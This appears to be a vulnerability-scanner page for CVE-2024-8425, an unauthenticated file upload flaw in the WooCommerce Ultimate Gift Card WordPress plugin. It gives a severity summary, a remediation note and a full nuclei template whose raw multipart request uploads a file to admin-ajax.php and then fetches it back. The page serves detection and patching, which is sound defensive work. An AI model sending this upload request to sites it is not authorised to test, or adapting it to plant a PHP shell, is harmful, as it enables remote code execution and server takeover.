WooCommerce Ultimate Gift Card ≤ 2.6.0 - Arbitrary File Upload

criticalseverity

9.8CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

The WooCommerce Ultimate Gift Card plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'mwb_wgm_preview_mail' and 'mwb_wgm_woocommerce_add_cart_item_data' functions in all versions up to, and including, 2.6.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

Impact

Unauthenticated attackers can upload arbitrary files including PHP scripts to the server through insufficient file type validation, enabling remote code execution and complete server compromise.

Fix

Update WooCommerce Ultimate Gift Card plugin to a version later than 2.6.0 that addresses the arbitrary file upload vulnerability in the mwb_wgm_preview_mail and mwb_wgm_woocommerce_add_cart_item_data functions.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=mwb_wgm_preview_mail
Positive when: status_code == 200 and contains(body, "{{file_message}}&name={{filename}}")
Send: GET /wp-content/uploads/mwb_browse/{{filename}}
Positive when: contains "{{file_content}}" AND status 200

Run it with nuclei: nuclei -id CVE-2024-8425 -u <target>

The full check

id: CVE-2024-8425

info:
  name: WooCommerce Ultimate Gift Card ≤ 2.6.0 - Arbitrary File Upload
  author: jsnv-dev
  severity: critical
  description: |
    The WooCommerce Ultimate Gift Card plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'mwb_wgm_preview_mail' and 'mwb_wgm_woocommerce_add_cart_item_data' functions in all versions up to, and including, 2.6.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP scripts to the server through insufficient file type validation, enabling remote code execution and complete server compromise.
  remediation: |
    Update WooCommerce Ultimate Gift Card plugin to a version later than 2.6.0 that addresses the arbitrary file upload vulnerability in the mwb_wgm_preview_mail and mwb_wgm_woocommerce_add_cart_item_data functions.
  reference:
    - https://github.com/KTN1990/CVE-2024-8425
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce-ultimate-gift-card/woocommerce-ultimate-gift-card-260-unauthenticated-arbitrary-file-upload
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8425
    epss-score: 0.04082
    epss-percentile: 0.90798
    cwe-id: CWE-434
    cpe: cpe:2.3:a:wpswings:woocommerce_ultimate_gift_card:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpswings
    product: woocommerce_ultimate_gift_card
    fofa-query: body="/wp-content/plugins/woocommerce-ultimate-gift-card"
  tags: cve,cve2024,wp,wp-plugin,wordpress,woocommerce,woocommerce-ultimate-gift-card,file-upload,vkev,vuln

variables:
  filename: "{{rand_base(7)}}.txt"
  file_content: "{{randstr}}"
  file_message: "{{randstr}}"
  boundary_id: "{{rand_int(100000,999999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=mwb_wgm_preview_mail HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}

        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="mwb_wgm_preview_email"

        test
        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="tempId"

        1
        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="message"

        {{file_message}}
        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: image/jpeg

        {{file_content}}
        ------WebKitFormBoundary{{boundary_id}}--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{file_message}}&name={{filename}}")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/mwb_browse/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{file_content}}"

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        kval:
          - file_content

References

Use this check only on systems you are authorised to test. Where the data comes from